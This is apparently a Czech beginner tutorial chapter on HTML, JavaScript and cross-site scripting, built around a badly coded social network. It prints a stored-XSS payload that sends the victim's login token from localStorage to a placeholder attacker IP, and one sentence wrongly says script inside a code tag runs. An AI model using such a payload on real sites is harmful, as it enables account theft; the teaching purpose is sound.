Skip to content
On this page

Cros-site scripting

V minulé kapitole jsme se naučili jak se webové stránky načítají pomocí HTTP protokolu. V této kapitole se naučíte trochu více o tom jak funguje vykreslování webových stránek, tj. co je to HTML, CSS, JS a WASM.

Věci v kategorii webů jsou složitější na teorii, proto se nebojte vracet se k jednotlivým pojmům a případně využívání jiných zdrojů. Obzvlášť pak u jednotlivých útoků se vám bude velmi hodit znalost jakéhokoliv programovacího jazyka.

HTML

Teď už zpátky k teorii webových stránek. Víme že pomocí HTTP se přenáší nějáké data, podle kterých se pak stránka vykreslí v našem prohlížeči, tyto data jsou zdrojové soubory webové stránky. Nejdůležitější pro prohlížeč jsou HTML soubory. Ty prohlížeči říkají jaký text má být vykreslen, jaké tlačítka na stránce mají být a odkazují na ostatní zdrojové soubory.

HTML je postavené na XML formátu, tedy vše je definováno pomocí na první pohled divného zobrazení, který obsahuje velké množství < a >. Co tyto speciální znaky označují jsou jednotlivé tagy (kombinace otevíracího a zavíracího je pak element) Každý prvek je na sebe nezávislý text, odkaz atd. Například pomocí p (paragraphu) můžeme definovat odstavec, strong udělá text tučný nebo například

  • li vytvoří odrážku
html
Hello world!
<p>Toto je v dalším odstavci!</p>
<li>Tento element má odrážku a <strong>tučný text</strong></li>

Určitě si všimnete textu Hello world!, tento text se automicky vykreslí pokud HTML otevřeme v prohlížeči, protože jakýkoliv text je stále platný HTML. Také si můžete všimnout, že <strong> je uvnitř <li>, elementy mohou být i v sobě.

Ikdyž se naše stránka vykreslí, výše uvedený "kód" se nespouští, prohlížeče na něm udělají analýzu a podle toho něco vykreslí, pokud chceme přidat interaktivitu, musíme použít javascript.

Je dobré také zmínit CSS, které nám dovoluje upravovat vzhled webové stránky, od barvy textu, přes velikost, pozici nebo chování scrollování. CSS je však spíše pro webové vývojáře, nás zajímá interaktivita a cokoliv co můžeme hacknout.

Javascript

I přes své jméno javascript není vůbes spjatý s javou, jde o programovací jazyk, který je spustitelný uvnitř webových prohlížečů. Prohlížeče javascript umí spustit dvěma způsoby, inline definice:

html
<script>console.log('hello world')</script>

Nebo jak bylo dříve zmíněno, můžeme odkázat na javascriptový soubor z html a prohlížeč automaticky zařídí jeho stažení. To je možné pomocí definice atributu src.

html
<script src="script.js"></script>

Narozdíl od některých programovacích jazyků, javascriptový kód se instantně spustí, není potřeba ho dávat do žádné main funkce ani speciàlní class. Jednotlivých funkcí v javascriptu je hodně, každopádně si můžeme projet pár z nich

javascript
console.log('Hello world') // console.log vezme to, co má v závorkách a vypíše to do skryté konzole. Tu můžete zobrazit
// kliknutím pravého tlačítka a Vybráním `Inspect`
alert('Hello world') // alert funguje velmi podobně jako console.log, ale zprávu vypíše do popupu na vrch obrazovky.
fetch('https://kagi.com/') // Fuknce fetch dělá webové žádosti, můžeme ji brát jako způsob jak načítat / posílat data
document, window // Toto jsou objekty, ve kterých se objevují data o aktuální stránce, jako odkaz, velikost okna, výška
// stránky, cookies a jiné

Cross-site scripting

Nyní tedy víme jak spustit javascriptový kód na naší stránce. Javascript může být užitečným nástrojem, ale může být i velikým nepřítelem v případě, že kód může spouštět útočník.

V dnešní době se těžko najde někdo, kdo nezná sociální sítě, proto je skvělým příkladem špatně naprogramovaná sociální síť. Představte si aplikaci podobnou twitteru, každý přihlášený uživatel může přidat příspěvek a když si otevřeme domácí stránku, zobrazí se nám všechny příspěvky. HTML "kód", který nám stránka posílá může vypadat takto:

html
<p>Nesouhlasím, Elon Musk je divnej</p>
<li>Tomáš</li>
<p>Mám moc rád Elona Muska</p>
<li>Lukáš</li>

Toto funguje, jenže co když se v příspěvku objeví HTML elementy, řekněme <strong>Tučný text</strong>. Samozřejmě, jelikož neděláme žádné kontroly, text bude tučný. Samozřejmě u tučného textu teprve začínáme, pokud přidáme <code> tag jakýkoliv javascript uvnitř tohoto tagu se spustí. Náš příspěvek tedy může vypadat takto.

html
<p>1337 <script>alert('Hello, your computer has virus')</script></p>
<li>Hacker</li>

Říkáte si, no a? Tak nám na stránce vyskočí text, to snad nevadí ne? Velice se pletete, v tento moment vám útočník může ukradnout účet. Pokud na stránce jsme přihlášeni, nejspíše někde v prohlížeči máme uložený token, pomocí kterého stránka může ověřit, že jsme přihlášený uživatel. Takto přidaný script může tento token přečíst a poslat ho útočníkovi. Zde je jeden z příkladů komentářů, který by útočníkovi poslal tento přihlašovací token.

html
<script>
  fetch('http://1.2.3.4/?token=' + window.localStorage.token)
</script>

Možná si vzpomenete na Command injection útok, který je trochu podobný, ale místo příkazů zde píšeme javascriptový kód. Cross-site scripting neboli XSS je také injection útok, v dalších kapitolách se dozvíte i něco o SQL injection útoku.

Proti tomuto útoku je těžké se bránit, existuje hned několik řešení. Doporučuju využít už existující řešení, které závisí na vašem projektu, jelikož napsat vlastní kontrolu uživatelského vstupu je obtížné.

Shrnutí

  • Pomocí HTML můžeme definovat co se na naší webové stránce má vykreslovat a co má prohlížeč načíst a spustit
  • Pomocí script elementu můžeme prohlížeči říct že má spustit daný javascriptový kód
  • Pokud nekontrolujeme uživatelský vstup, může se stát, že dynamický obsah na naší stránce bude moct obsahovat javascript
  • Toho může zneužít útočník a může exfiltrovat tajné data jako třeba náš přihlašovací token